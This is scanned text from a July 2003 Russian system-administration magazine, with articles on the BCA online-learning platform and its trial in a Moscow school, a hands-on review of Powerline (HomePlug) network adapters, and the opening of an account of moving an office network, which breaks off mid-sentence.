

образование

ОБУЧЕНИЕ ЧЕРЕЗ ИНТЕРНЕТ – ЭТО ВОЗМОЖНО?

ОЛЬГА ИГОШИНА 78


образование Лето. С самого детства это слово согревает душу. В нем звучат наполненные солнцем неправдоподобно теплые долгие дни, душистые ласковые вечера и, пожалуй, главное – свобода. Свобода принадлежать себе, быть собой, наслаждаться жизнью, изумляться ее неповторимости. Не надо больше каждый день торопиться на лекции, сдавать экзамены. И пусть многим из нас уже нельзя провести все лето в счастливом ничегонеделании, пусть многие работают, и удастся ли вырваться в отпуск – неясно. Все равно слово «лето» еще хранит на себе отблески юношеской беззаботности. Но, к сожалению или к счастью, все проходит. Лето закончится, и загоревшие и еще чуть-чуть повзрослевшие юноши и девушки начнут вновь втягиваться в учебу, в ежедневные посещения своих школ, колледжей, университетов. Увы, приходится признать, что, несмотря на многие и весьма значительные достоинства бывшей советской системы образования, учиться у нас (особенно в вузах – это становится все заметнее по мере взросления) не всегда интересно. Едва ли не большинство выпускников российских институтов и университетов сохранили воспоминания о томительно тянущихся лекциях, нудных объяснениях, казенным языком написанных учебниках. Смысл упорно ускользает от тебя, и чувствуешь, что отстаешь от курьерского поезда, уносящего вперед мысль преподавателя. А как результат – напряженные семинары, непонятные лабораторные работы, нервная сдача экзаменов. В итоге основная цель учёбы – сохранить требуемые сведения в голове до зачета или экзамена. А потом благополучно забыть. Начисто. И студентов ведь можно понять. Они прекрасно видят, что слишком часто преподаваемые знания не имеют практической ценности, что жизнь, общество, наука давно ушли вперед. Нынешняя политика модернизации российской образовательной системы в целом ориентируется на общемировой и, в частности, на американский опыт. Многие этим недовольны, ведь не однажды уже было сказано о преимуществах российского образования по сравнению с американским. Дескать, и четкой системы у них в преподавании нет, и учатся студенты за оценку, и широкого кругозора такое высшее образование не дает. Спорить не буду, недостатки есть, и весьма значительные. Но если вспомнить, что американский диплом считается одним из самых востребованных и престижных во всем мире, становится понятно, что все-таки здесь есть что перенимать и использовать. США на данный момент – безусловный лидер по использованию современных информационных технологий и Интернета в образовании. Использование новейших достижений и разработок позволяет американским студентам спокойно учиться и делать это с комфортом. Они могут сдавать тесты, делать домашние задания, где и когда им удобно, повторять непонятные темы и изучать новые в тех объемах, в каких это необходимо им для понимания. Преподаватели с применением того же Интернета могут проводить постоянный мониторинг успеваемости своих учеников, что не дает закостенеть системе преподавания, а студентам – безнадежно отстать.

№7(8), июль 2003

Интернет и обучение в Америке: успешное совмещение В качестве примера, характеризующего положительный опыт педагогов США, расскажу немного о практике комплексных обучающих пособий, получившей в Америке широкое распространение. Суть ее заключается в том, что донесению информации служит не просто отдельный учебник, но и интернет-сайт, сопровождающий информацию, данную в учебнике, практическим материалом. Для примера возьму крупнейшую американскую группу издателей учебной литературы – Thomson Learning (www.thomson.com). Понятно, что в Америке, стране больших возможностей и очень дорогого образования, учебников действительно много. Это богатый рынок с жёсткой конкуренцией, и подавляющее большинство учебных материалов подготовлено на хорошем теоретическом и выполнено на отличном полиграфическом уровне. И тут в игру вступает такое весомое конкурентное преимущество, как поддержка обучения через Интернет. Покупает, допустим, студент учебник по математике, в этом учебнике находится PIN-код. Зайдя на определенный сайт в Интернете и воспользовавшись этим кодом, он будет уже не просто листать учебник, а в соответствии с содержанием каждой главы решать задачи, проходить тесты, смотреть интерактивные модели. Все его результаты будут автоматически проверены и учтены, а если с какой-то темой возникнут затруднения, то он может попрактиковаться; изучить пошаговый разбор задач с подробными объяснениями; проделать столько сходных заданий, сколько необходимо, для того чтобы понять алгоритм решения; еще раз проверить свои силы в тестах. Очевидно, что это и удобно, и эффективно. Группа Thomson Learning и создала проект ВСА (http:/ /bca.brookscole.com) с целью использовать преимущества, предоставляемые повсеместным распространением «паутины». Проект – это та самая комплексная интернет-система дистанционного обучения, интегрирующая обучение, тестирование и систему управления курсами. Очень важно, что содержание проекта опирается именно на материалы учебников, издаваемых компанией. Все учебные материалы по университетским курсам – теория, тесты, задачи, задания сервера коррелируются с определенной темой, главой или вопросом одного из учебников, на основании которых и строится программа учебного заведения. Система используется в колледжах и университетах Америки, как для поддержки обычного очного учебного процесса, так и для дистанционного обучения. Ежедневно сервер посещают свыше 50 000 пользователей примерно из 300 учебных заведений по всем Соединенным Штатам. В число вузов, пользующихся именно этой системой, входят такие известные университеты, как MIT (Massachusetts Institute of Technology) и The University of Texas в Остине. Понятно, что популярность эта не случайна и говорит, скорее всего, о реальных преимуществах такой системы. Кратко опишу самый простой и, пожалуй, самый распространенный метод использования возможностей сервера. Преподаватель заходит на сайт и, введя свой PIN-код (указанный, например, в учебнике или методическом по-

79


образование

собии), создает свою страничку (при этом не требуется даже регистрироваться). Используя обширнейшую тестовую базу (свыше 200 тысяч тестов, задач, заданий по различным предметам), он формирует задание в соответствии с изучаемой темой и своими представлениями о методике обучения. Ссылку на задание он рассылает своим студентам, и они его выполняют в режиме он-лайн. Результаты автоматически проверяются системой, заносятся в электронный журнал успеваемости и высылаются преподавателю. Так как использование ресурсов сервера предельно упрощено, сложно даже подсчитать точно, сколько преподавателей из скольких университетов ежедневно прибегают к помощи ВСА. Что и говорить, студентам такая форма обучения тоже очень удобна. Можно изучать нужную тему в индивидуальном режиме, выполнять задания в любом месте и в удобное время. Самостоятельно решать, моделировать, конструировать и чертить всегда гораздо интереснее, чем читать или пассивно присутствовать на лекции. В американских университетах семинарская форма занятий вообще не принята, как это ни удивительно для нас. Их обучение – это, как правило, только лекции, и со многими своими студентами преподаватель встречается во время экзаменационного тестирования в конце семестра. И судить о том, насколько удачна его манера препода-

80

вания, что поняли его ученики из объяснений, он тоже сможет лишь по окончании учебного курса. В этом вопросе стандартная ситуация в вузе США весьма схожа с российской, но найден удачный способ ее разрешения: в течение семестра регулярно проводятся тестирования, преподаватель отслеживает усвоение сложных тем и корректирует чтение курса с успеваемостью аудитории. В данном случае именно наличие интернет-поддержки вовлекает студента в сам процесс обучения. Основным средством мониторинга успеваемости в американских школах, колледжах и университетах традиционно служат тесты. Обычно используются два основных вида тестов: true/false (да/нет) и multiple choice (выбор из нескольких альтернатив). Американские студенты называют тесты вида true/false «угадайкой» и по понятным причинам любят их значительно больше, чем multiple choice, в которых угадать сложнее и требуется что-то знать по теме. Понятно, что и списывать при тестировании значительно легче, поэтому большинство заданий в банке тестов сервера составляют алгоритмические задачи. Это задачи, в условиях которых все числовые значения генерируются случайным образом из заданного определенным алгоритмом множества. И каждый студент в одинаковых, по сути, заданиях получает разные исходные цифры, со-


образование

ответственно, и ответ у каждого получится свой. При этом правильность решения проверяется компьютером, а значит, у преподавателя не возникает дополнительный объем работы по проверке множества разных вариантов. Получается, что студент, решая задачи определенного типа, каждый раз видит новые численные значения, а компьютер никогда не устает их проверять. Удобны алгоритмические задачи и для работы офф-лайн: например, преподаватель может распечатать задания для всей аудитории, и в одинаковых задачах во всех вариантах будут разные числовые значения. Помимо алгоритмических заданий ВСА применяет в своих тестах и другие, сложные и очень интересные разработки. Нововведением стала гораздо более разнообразная система тестирования. И если в большинстве своем школьники и студенты при обучении сталкиваются с тестами лишь двух основных видов, то в ВСА это количество значительно больше – их около 40. Можно сказать со всей определенностью, что тестирующая система сервера не имеет аналогов во всем мире по целому ряду очень важных критериев обучения и мониторинга. Это и широкий выбор типов вопросов и задач, и реализованные возможности компьютерного ввода ответов студентами. Впервые разработан принцип свободного ввода мате-

№7(8), июль 2003

матической формулы студентом, работающим он-лайн с использованием визуального редактора формул. Впервые реализованы интерактивные приложения, позволяющие студентам вводить ответы в виде графиков, в том числе и трехмерных, химических формул, эскизов, логических выражений и просто развернутых текстовых ответов. Также есть задачи, где ответы нужно вводить в виде формулы, таблицы, выбирать из списка вариантов, конструировать из имеющихся деталей. Многие типы задач проверяются системой автоматически, она же заносит результаты в электронный журнал успеваемости.

Приживется ли интернет-обучение в России? Понятно, что эти непривычные большинству из нас интерактивные формы обучения исключительно удобны и практически полезны для обеих сторон, штурмующих баррикады под названием «получение высшего образования». Преподаватели добиваются понимания и интереса к своему предмету, студенты же (говорю именно о студентах, а не об откровенных «халявщиках») хотят выучить с минимальными затратами сил и времени, все сдать, получить корочку и влиться во взрослую жизнь. И все эти задачи могли бы решить (пусть частично) новые интересные методики обучения.

81


образование

Самое же, пожалуй, важное, что для того, чтобы взять на вооружение все эти технологии, не нужно никого приглашать, перенимать опыт, создавать команды программистов и т. д. Все эти разработки для ВСА на протяжении уже четырех лет выполняет российская компания – ФИЗИКОН (http://www.physicon.ru/) – разработчик учебных компьютерных программ для средней и высшей школы. Ее интерактивные учебники вошли в Федеральный набор электронных учебников и были поставлены в 40 000 школ России. Компания успешно завершила свыше 40 проектов по разработке программного обеспечения для зарубежных заказчиков. В России разрабатывают как программное обеспечение, так и интерактивные учебные материалы для американского сервера. Около 70% его уникального в масштабах всего мира содержания создано именно российскими разработчиками. При работе над системой наши программисты использовали значительное количество своих собственных наработок и технологий и внесли в разработку сервера существенный интеллектуальный вклад. Например, одна из задач была такова: студенту, работающему он-лайн, в процессе ответа на вопрос надо ввести сложную формулу, содержащую степени, квадратные корни и т. д. К тому же сложность была в том, чтобы компьютер смог автоматически проверить правильность такого ответа. Трудность такой задачи очевидна, так как

82

формулу можно ввести разными способами, например, поменяв порядок слагаемых или помножив и разделив на одно и то же число. Именно в российской компании была разработана технология, которая, обладая дружественным, интуитивно понятным студенту интерфейсом для ввода формул, позволяет компьютеру «распознавать» формулу, оценивать по своей собственной логике правильность ответа, который может быть введен разными способами. Программисты компании создали уникальный инструментарий для введения в систему свыше 50 видов задач и тестов. За время сотрудничества с Thomson Learning была сформирована большая группа редакторов математических задач, которые алгоритмизировали около 120 тысяч задач. Большинство редакторов – студенты и аспиранты Московского физико-технического института, их фундаментальное образование позволяет им быстро ориентироваться в предметах и алгоритмах.

Тестирование ВСА в России Весной этого года компанией был проведен очень интересный эксперимент, немаловажный в отношении обсуждаемой темы. В течение недели в Лицее Информационных Технологий г. Москвы тестировалась очередная версия ВСА. За эту неделю в тестировании приняло участие девять


образование

классов трех специализаций обучения – «менеджеры», «дизайнеры» и «программисты». Всего было задействовано около ста учеников. Мероприятие преследовало несколько целей: выявить особенности сервера, затрудняющие его интуитивное использование; решить, пригодна ли система для использования в России. Очевидно, что при разработке столь сложной системы возможны различные ошибки и/или недостатки сервера (его интерфейса, системы регистрации, заданий, системы ввода ответа и т. д.), которые затрудняют его продуктивное использование, интуитивно не ясны и озадачивают пользователя. Необходимо учитывать, что все задачи, созданные для ВСА, формулируются, естественно, на английском языке и к тому же программы обучения в США и России сильно отличаются. Так что учителям лицея совместно с сотрудниками компании-разработчика пришлось основательно потрудиться, чтобы сформировать тесты по математике, которые по содержанию задач не вызвали бы больших проблем у учащихся. Самым важным все же было протестировать систему, а не знания учеников.

№7(8), июль 2003

Происходило все так: школьники приходили в компьютерный класс и обнаруживали, что вместо урока информатики они сейчас будут проходить тест по математике, а точнее, работать в трех разных учебных режимах. Первый режим – «Практика» – позволяет проходить тест сколько угодно раз и сразу проверять, был ли правильным ответ на вопрос. Второй – «Опрос» – позволяет решать тест три раза, правильный ответ ученик видит только после того, как выполнит весь тест до конца. И наконец, третий режим – «Экзамен» – разрешает только одну попытку, а уж о ее результатах сообщит учитель. В каждом тесте учащимся предлагалось 12 задач, на прохождение всех трех видов теста отводилась одна пара (два урока). Нельзя сказать, что всем ученикам пришлась по душе перспектива два урока подряд решать задачки. Но большинству все же становилось интересно разобраться с чемто новым. Ученики регистрировались в системе и проходили поэтапно все виды тестов. На возникавшие по ходу вопросы тут же отвечали сотрудники ФИЗИКОНа, перевод заданий раздавался всем желающим в распечатанном виде, а непривычные для российского школьника математические обозначения были выписаны на доске. В процессе тестирования за реакцией школьников вни-

83


образование мательно наблюдали специалисты компании, все их вопросы записывались и тщательно обрабатывались, весь процесс был снят на видео. Так как в тестировании принимали участие школьники нескольких специализаций, естественно, что возникавшие затруднения были разного характера. И если «менеджеры», наименее продвинутые пользователи, в основном задавались вопросами, «как отсюда перейти к другому заданию», «как закончить работу» и «где я могу посмотреть свой результат», то «программисты», как самые прогрессивные, быстро пройдя все тесты, заинтересовались системой безопасности и даже пытались взломать систему. Правда, неудачно. Всего от учеников было принято свыше ста различных замечаний, отзывов, предложений. Сами организаторы в процессе тестирования сделали для себя около 40 заметок, столько же поступило и от учителей. В процессе тестирования обнаружились некоторые затруднения, в большинстве случаев с вводом ответа в виде графика или формулы. В целом ученики хорошо справились с электронным заданием, правильно решив до 80% задач. Все полученные в результате замечания анализируются, а наиболее полезные и целесообразные из них внесены в следующую версию сервера. Другой интересный вопрос, затронутый в эксперименте – возможность использования системы ВСА в России. Как оказалось, несмотря на разницу в учебных программах (например, традиционно все курсы высшей математики в США начинаются с азов – арифметических задач), в банках данных задач сервера нашлось немало заданий, которые были интересны нашим школьникам и заставили их призадуматься, хотя основное затруднение составил, конечно, английский язык и непривычная система тестирования. Стало понятно, что при продуманной выборке из имеющейся обширной тестовой базы и переводе на русский язык можно составить значительный массив заданий, которые будут соответствовать пройденной программе и не окажутся слишком легкими для наших школьников. Очень важно то, что в систему возможно ввести и но-

84

вые задачи, разработанные соответственно специфике русского образования и уровню учебного заведения. То есть на основе уже имеющихся разработок можно создать учебные системы как для школ, так и для вузов. В последнее время в российском образовании тестирование стало активно использоваться, например, введен Единый Государственный экзамен (ЕГЭ) и т. д. Методисты компании пришли к выводу, что на базе технологий, использованных в разработке сервера, можно создать интеллектуальную тестирующую систему для подготовки и проведения тестирований в России. В общем, можно сделать вывод, что экспериментальная работа системы с российскими школьниками прошла достаточно успешно. Не исключено, что хорошие отклики об использовании возможностей сервера в русских школах наведут руководителей американской компании на мысль о продвижении этой системы в России. В заключение хочется отметить, что описанный опыт и наличие в России разработчиков, обладающих всеми необходимыми знаниями и практическим опытом, может существенно помочь внедрению интернет-технологий в российскую образовательную систему. Особенно актуально это в свете развернувшейся в последнее время информатизации российского образования (снабжаются компьютерами самые отдаленные населенные пункты РФ, разрабатываются электронные учебники по грантам Министерства образования РФ). Появляется надежда, что новые интерактивные полезные и интересные студентам методы обучения войдут в нашу повседневную жизнь. Введение Единого Государственного Экзамена (которое также немыслимо без информационных технологий) постепенно делает тестирование важной составной частью всей системы нашего образования, приводит российское образование к стандартам оценок, принятых в большинстве западных стран. Если Россия хочет занять в обозримом будущем подобающее ей место среди ведущих государств мира, ей уже сейчас необходимо обратить самое пристальное внимание на новые технологии в образовании. Завтра начинается сегодня!



сети

POWERLINE: ИНТЕРНЕТ ИЗ РОЗЕТКИ

ДЕНИС КОЛИСНИЧЕНКО 86


сети Все, кто хотя бы один раз в жизни прокладывал сеть собственными руками, скажут, что это занятие не из приятных. Одно дело – проектировать сеть, совсем другое – заниматься монтажом оборудования и прокладыванием кабелей. Конечно, когда все компьютеры находятся в одной комнате, особых проблем с кабелем, как правило витой парой, не возникает. Но когда нужно объединить в сеть два, три, четыре, пять или более этажей, невольно начинаешь думать: «Кто бы за меня все это сделал?». Конечно же Powerline! Powerline Communications – это семейство технологий связи, использующее в качестве физической среды передачи информации существующую сеть электропитания (220В или 120В). Выходит, чтобы объединить в единую сеть целый жилой дом, не нужно прокладывать кабели, монтировать различные сетевые устройства и заботиться о том, чтобы однажды ночью они не исчезли вместе с кабелем. Среда передачи данных уже есть – это обычная электропроводка. И количество этажей не играет особой роли. Удобно? Еще бы. Кроме этого, мы получаем еще одно преимущество: безопасность передачи данных – перехватить данные в электросети не так уж просто, если сравнивать с обычной Ethernet-сетью. К тому же используется аппаратное шифрование потока данных, о котором мы поговорим позже. Вам мало одного дома? Вы хотите подключить еще один? Технология Powerline позволяет передавать данные на расстояние до десяти километров. Естественно, если мы что-то приобретаем, то нужно что-то отдать взамен. В нашем случае мы жертвуем скоростью передачи. Если объекты находятся на расстоянии более двух километров, скорость передачи данных падает до 0,05 Кб/с (максимум 50 Кб/с). Поэтому для связи удаленных объектов целесообразнее использовать другие технологии, например RadioEthernet.

Среднескоростной обмен (Medium baud rate) – пред-

назначен для передачи информации на средние расстояния – до двух-трех километров. При этом максимальная скорость передачи данных в этом режиме составляет 50 Кб/с, а минимальная – 0,05. В принципе, если подумать, 50 Кб/с – это не так уж и мало, если учесть, что существующие линии телефонной связи, особенно аналоговые, еле обеспечивают надежную передачу данных на скорости 33,6 Кб/с. Мой модем, подключенный к аналоговой АТС, работает по такому сценарию: сначала подключается на скорости 33,6 Кб/с, затем (минут через 1520) сбрасывает скорость до 28,8 Кб/с, потом скорость то понижается (до 21 Кб/с), то повышается (до 28,8 Кб/с). Низкоскоростной обмен (Low baud rate). Обеспечивает передачу данных на расстояние более 10 километров. Максимальная скорость передачи – 0,05 Кб/с. Данный режим будет полезен для передачи какой-нибудь служебной информации небольшого объема.

Как подключиться к электросети? Предположим, что у нас есть самый обыкновенный компьютер, снабженный самым обыкновенным Ethernet-адаптером (имеется в виду FastEthernet). Как можно его подключить в PLC-сеть? Неужели прямо в розетку? Почти: для подключения компьютера к электросети используется специальный адаптер – Powerline to Ethernet adapter. Вот он-то и подключается к электросети, а Ethernet-адаптер подключается к нему. На рисунке 1 изображен пример небольшой домашней сети, состоящей из трех компьютеров, использующей технологию Powerline.

Скорость передачи данных и расстояние В зависимости от расстояния между объектами изменяется скорость передачи данных: Высокоскоростной обмен (High baud rate). В этом режиме обеспечивается передача данных на расстояние до нескольких сотен метров. Скорость передачи данных обратно пропорциональна расстоянию, минимальная скорость передачи в высокоскоростном режиме – 100 Кб/с, максимальная – 14 Мб/с (практически никогда не достигается). Данный вариант идеально подходит для создания небольшой SOHO-сети (Small Office – Home Office) или объединения в одну сеть компьютеров друзей, живущих в одном доме. Однако подключить сразу все желаемые PLC-устройства не получится: может не хватить полосы пропускания, а она для PLC-устройств составляет не более 10 Мб/с. Да, видео в реальном времени передавать не получится, но для передачи файлов с приемлемой скоростью вполне хватит. О максимальной скорости, а также о полосе пропускания мы еще поговорим чуть позже.

№7(8), июль 2003

Ðèñ. 1. Ïðèìåð íåáîëüøîé ñåòè ñ èñïîëüçîâàíèåì òåõíîëîãèè Powerline.

Один из компьютеров подключается непосредственно к среде передачи данных, то есть к электропроводке, используя адаптер Powerline to Ethernet. На данном компьютере должен быть установлен интернет-адаптер. Другие два компьютера подключены в нашу домашнюю сеть через самый обыкновенный интернет-коммутатор (switch), который, в свою очередь, подключается к электросети с помощью адаптера Powerline to Ethernet. Далее, к одному из компьютеров подключен модем. Если правильно настроить программное обеспечение, этот компьютер будет выступать в роли интернет-шлюза и все компьютеры получать доступ к Интернету. На вашем компьютере нет сетевой платы? Не беда: кроме адаптера Powerline to Ethernet существуют адаптеры Powerline to USB, позволяющие использовать USB-порт компьютера вместо сетевой платы. Такой адаптер целесообразнее использовать на одиночных компьютерах, как

87


сети в нашем случае. Во-первых, не нужно покупать сетевую плату, а во-вторых, адаптер Powerline to USB стоит дешевле, чем адаптер Powerline to Ethernet (цена зависит от модели и производителя). А что делать, если у вас старенький компьютер без USBпорта? Тогда есть два выхода: купить специальный USBадаптер или специальную Powerline PCI-карту. В первом случае у вас появится так необходимый вам USB-порт, к которому можно подключить адаптер Powerline to USB, а во втором – вы будете подключаться к электросети с помощью купленной вами Powerline PCI-платы. PLC-устройства, выполненные в виде PCI-платы, являются самыми дешевыми, но наименее распространенными.

ся бесполезной, если вы забудете изменить пароль по умолчанию. Данный пароль должен быть одинаковым на всех устройствах вашей сети.

Выбор устройства Следующая таблица поможет вам выбрать ваше PLC-устройство. Òàáëèöà 1. Òåõíè÷åñêèå õàðàêòåðèñòèêè PLC-óñòðîéñòâ.

Устройства производства Planet Technology Рассмотрим два устройства производства Planet Technology: Powerline to Ethernet converter (PL-101E) USB to Powerline Network Adapter (PL-101U) Первое устройство позволяет подключаться к электросети с помощью сетевого адаптера, а второе представляет собою сетевой адаптер, подключаемый к USB и способный работать по электросети – такой себе набор 2 в 1. Устройства представлены на рисунках 2 и 3 соответственно.

Ðèñ. 2. Powerline to Ethernet converter (PL-101E).

Ðèñ. 3. USB to Powerline Network Adapter (PL-101U).

Оба устройства поддерживают спецификации HomePlug PowerLine Alliance v1.0 и USB Spec 1.1. Основные технические характеристики: Максимальная скорость до 14 Мб/с; Для надежности передачи данных используют кодирование с ключом 56 бит (DES); Максимальное расстояние – до 90 м; Метод сетевого доступа – CSMA/CA (Carrier Sense Multiple Access with Collision Avoidance – метод коллективного доступа с избежанием коллизий); Поддержка QoS (Quality of Service, IEEE 802.3u); Полоса занимаемых частот для обмена данными: 4,3 – 29,9 Mhz; Схема модуляции – OFDM, прямая коррекция ошибок (FEC, Forward Error Correction). Стоимость каждого устройства – около $130. Примечание: 56-битная система шифрования окажет-

88

Примечание: в таблице 1 указана приблизительная цена, которая может измениться в зависимости от различных факторов.

Тестирование К сожалению, у меня не получилось раздобыть все перечисленные в таблице 1 устройства, поэтому ограничимся теми, что были: Powerline to Ethernet converter (PL-101E) и USB to Powerline Network Adapter (PL-101U). Установка устройства происходит без проблем. USBадаптер операционная система Windows 2000 определила как Safely Remove Hardware, после чего был проинсталлирован драйвер с компакт-диска. Ethernet-устройства вообще не требуют никакого драйвера, нужно только изменить пароль по умолчанию (обычно это слово «HomePlug»). Напомню, что пароль должен быть одинаковым на всех PLC-устройствах. На прилагаемом компакт-диске также находилась программа конфигурации, позволяющая изменить параметры устройства, а также оценить скорость передачи данных между устройствами. Несмотря на то что заявленная максимальная скорость передачи данных равна 14 Мб/с, на практике она составляла 5-6 Мб/с. При передаче файла объемом 10 Мб наилучший результат был следующим: 5, 55 Мб/с. Всего было сделано 10 попыток в идеальных условиях: оба устройства находились в пределах одной квартиры, и не было включено ни одно устройство, способное создавать помехи – даже холодильник был временно отключен. При включении водонагревателя, холодильника и микроволновой печи скорость передачи этого же файла составила 3,14 Мб/с. Очень даже неплохо, учитывая, что сигнал преодолел сопротивление в 70 Ом и несколько автоматов-выключателей. В отличие от PLC-устройств типа HomePlug, существует еще один тип подобных устройств – HomePNA, позволяющий для передачи данных использовать обычные телефонные линии. А что если подключить наши HomePlug


сети (PLC)-устройства к телефонной линии? Они работают, причем их работа оценивается утилитой мониторинга как «Excellent», то есть с максимальной скоростью. В то же время мы можем набрать номер и нормально разговаривать по телефону – качество голосовой связи не пострадало. Теоретически можно подключить PLC-устройства и к радио, то есть к ретрансляционной сети. Однако я не стал этого делать. В начале статьи мы акцентировали внимание не только на удобстве, но и на надежности. Мол, самые надежные и самые безопасные... Неужели нет способа «завалить» PLC-сеть? Способ есть: соедините сетевым кабелем два устройства Ethernet to PL и увидите, что будет. Если боитесь экспериментировать, скажу, что в результате блокируется работа всех устройств в подсети.

Выводы Теперь подытожим все вышесказанное. Powerline-устройства являются самыми удобными в плане внедрения в уже существующую среду передачи информации – электросеть. В отличие от устройств HomePNA, использующих для передачи информации телефонные кабели, PLC-устройства являются более удобными, поскольку телефонный провод есть не в каждой комнате, а вот розетка наверняка найдется. Хотя заявленная пропускная способность 14 Мб/с, на практике она составляет 6 Мб/с, это не так уж и мало. Сравнивать PLC-устройства с сетью FastEhternet не стоит – они находятся в разных весовых категориях. Гораздо корректнее сравнивать Powerline-устройства с RadioEthernet и другими беспроводными сетями. Что лучше – RadioEthernet или Powerline сказать однозначно тоже нельзя: это зависит от того, как вы хотите использовать данные технологии. Если вы хотите объединить в сеть

№7(8), июль 2003

несколько компьютеров друзей, находящихся в одном доме, лучшим выбором окажется Powerline. А если объекты находятся на расстоянии более 1 километра, использовать Powerline вряд ли целесообразно: при таком расстоянии скорость передачи данных будет очень низкой. Используемое 56-битное шифрование DES создает дополнительный барьер при перехвате информации. Также стоит отметить, что шифрование выполняется на аппаратном уровне, и вам не нужно заботиться о различных программных средствах для шифрования трафика, как в случае с Ethernet-сетью. Стоимость Powerline-устройств на сегодняшний день пока высока. Например, чтобы объединить в сеть два компьютера, вам понадобится минимум $200. При использовании FastEhternet вам понадобятся всего лишь два сетевых адаптера ($5-10 каждый) и до 100 метров витой пары пятой категории (от $20 за 100 метров). Как известно, если нужно соединить сетью два компьютера, можно обойтись без концентратора/коммутатора, поэтому итоговая стоимость такой сети 40-50 долларов: в четыре раза ниже, чем стоимость Powerline-сети. Однако в FastEthernet мы не учли стоимость прокладки кабеля (если вы будете заниматься этим сами, то стоимость будет определяться временем, потраченным на монтаж такой сети) и возможного ремонта помещения, если придется прокладывать кабель через стену. Кроме стоимости ограничивает распространение PLCустройств максимальная полоса пропускания. Да, мы можем объединить в сеть компьютеры, которые расположены на разных этажах и даже в разных подъездах (если это жилой дом), но мы не можем объединить в сеть все компьютеры, находящиеся в одном доме. Ограниченная полоса пропускания не позволяет работать с относительно высокой скоростью более чем 10-15 PLC-устройствам.

89


из личного опыта

ПЛАНИРУЕМ ПЕРЕЕЗД СЕТИ

90


из личного опыта Переезд – это не только головная боль, но и два-три вусмерть уставших сисадмина...

Создание сети сродни волшебству. В самом начале на взгляд непосвященного у вас будет лишь куча коробок с запакованными железками. Затем эти железки будут расставляться, включаться, вы будете с таинственным видом всматриваться в мигающие огоньки и священнодействовать, производя непонятные пассы руками и произнося магические заклинания. И потом симпатичные секретарши будут шептаться между собой, вспоминая, что делал этот приличный с виду человек у них под столом… Мне недавно повезло: довелось поучаствовать в создании сети с нуля на два офиса для фирмы в 300 человек. После привлечения всех необходимых доказательств о невозможности переезда «просто так», был дан картбланш на производимые работы и покупку необходимого оборудования. В этой статье я хочу поделиться тем, как происходил весь процесс. Я намеренно опущу название фирмы, подвергшейся моему «консультантству», не буду рекламировать фирму-поставщика СКС и телефонной станции. В общем, кто знает, тот догадается. А кто не знает, тому ничего не поможет…

Этап первый И что мы будем с этим делать? На тот момент вся фирма ютилась в небольших комнатах рядом с арендуемым складом. Было тесно, душно и неудобно перед клиентами. Наконец размер финансовых запасов совпал с амбициями директора по размещению и был назначен переезд. Переезд работников предполагался в строящийся бизнес-центр. Одновременно на окраине города снималось просторное помещение под склад. Переезд должен осуществиться с минимальными потерями во времени. Таковы простые условия, поставленные нам директором. С трудом утихомирив радость местного сисадмина по поводу переезда («Наконец-то я выкину эти каджуны!» – кто знает, тот понимает, для остальных поясню: речь идет о Lucent Cajun), я усадил его и спросил о том, что будет переезжать и куда. Если на вопрос про список техники, которая подвергнется переезду, он ответил довольно бодро, то на вопрос про место переезда он не смог ничего внятно сказать. Пришлось сесть и накидать небольшой план по работам, которые необходимо выполнить до изучения прайсов. План получился примерно таким: Из чего состоит компьютерная и телефонная сеть фирмы сейчас? Что поедет в бизнес-центр, а что – на склад? Как будет сделана сеть в бизнес-центре и как – на складе? Как центр и склад будут связаны между собой? Как будет происходить процесс переезда? Вроде бы план небольшой, а разобраться по пунктам оказалось довольно тяжело.

Этап второй «Я знаю, здесь будет город-сад»

ВЯЧЕСЛАВ КАЛОШИН №7(8), июль 2003

Первая проблема, которая возникла перед нами – это утвержденный план размещения, в котором никак не просматривалось «уголка сисадмина». Проблема решилась

91


из личного опыта простым походом к директору, выдиранием плана из его рук и отметкой на этом плане желаемого места размещения. Попутно скорректировали схему электропитания и кондиционирования для этого помещения. После тщательного разъяснения важности и нужности всех изменений директор схватил трубку и, используя местные идиоматические выражения, утвердил все изменения. Кто сказал, что сисадминов не любят? Вы просто не умеете их готовить! Вторая проблема – кто все это будет делать? На фирме 300 сотрудников, их обслуживают 2 человека. Бизнесцентр предоставляет только помещение и вход электричества, Интернета и телефонов. Развести сеть на 300 человек за требуемое время мы не успевали, поэтому решили воспользоваться услугами одной из компаний-системных интеграторов. На пару устроили «кастинг» фирмам. Приезжали менеджеры в дорогих пиджаках и предлагали сделать так, что все будет просто красиво. К счастью, у меня уже есть опыт подобного общения, поэтому менеджерам после красивых речей и заверений вручался этажный план здания с указанием отделов, серверной и точек подключения сотрудников, и они разворачивались с напутствием через недельку подготовить план сети и спецификацию оборудования с ценами. Видимо, их всех выращивают в одном инкубаторе, потому что планы различались в таких незначительных деталях, что даже неинтересно было сравнивать. Не подумайте, что я хвастаюсь, но базируясь на тех данных, которые мы им выдали, я нарисовал чуть более симпатичную схему сети. Выбрали трех наиболее приглянувшихся поставщиков, попросили скорректировать схему сети так, как надо нам (к примеру, я выделил бухгалтерию и начальство с замами в отдельные сетки и увеличил число розеток из расчета 3 розетки на 2 человека) и предоставить окончательные предложения с графиком и спецификациями. Тут один из поставщиков хмыкая, начал рассказывать о том, что «это неправильно, так не делают и вообще, как-то неинтересно», за что с удивлением был послан ни с чем. Два других с радостью вгрызлись зубами в предложенное. Наконец необходимые экскурсии в проходящий отделку бизнес-центр и на склад, крики «Вы нас разорите!» и прочее полагающееся были пройдены. (Запомните: если вы согласитесь с ценами сразу же, вы кровно обидите другую сторону. Вас будут считать за ламера и все остальное пойдет под этим знаком. Доставьте удовольствие людям, сторгуйте хотя бы 5%. В общем, как на восточном базаре.) Итак, у нас на руках были два проекта будущей сети, которые мы вручили директору. Там пошли уже другие переговоры, не касающиеся нас. В общем, через неделю в бизнес-центре появились ребята в синих спецовках и начали «согласно вновь утвержденному плану» делать СКС.

Этап третий «Кто куда, а мы к зайцам» Этап этот оказался самым сложным и нудным. Нудным – изза того, что пришлось обойти весь офис и выяснить, кто куда ходит, у кого какой внутренний номер телефона и так далее. А сложным – из-за того, что требовалось определить будущую политику безопасности и адресный план сети. Было решено следующее: берется подсеть в диапазоне

92

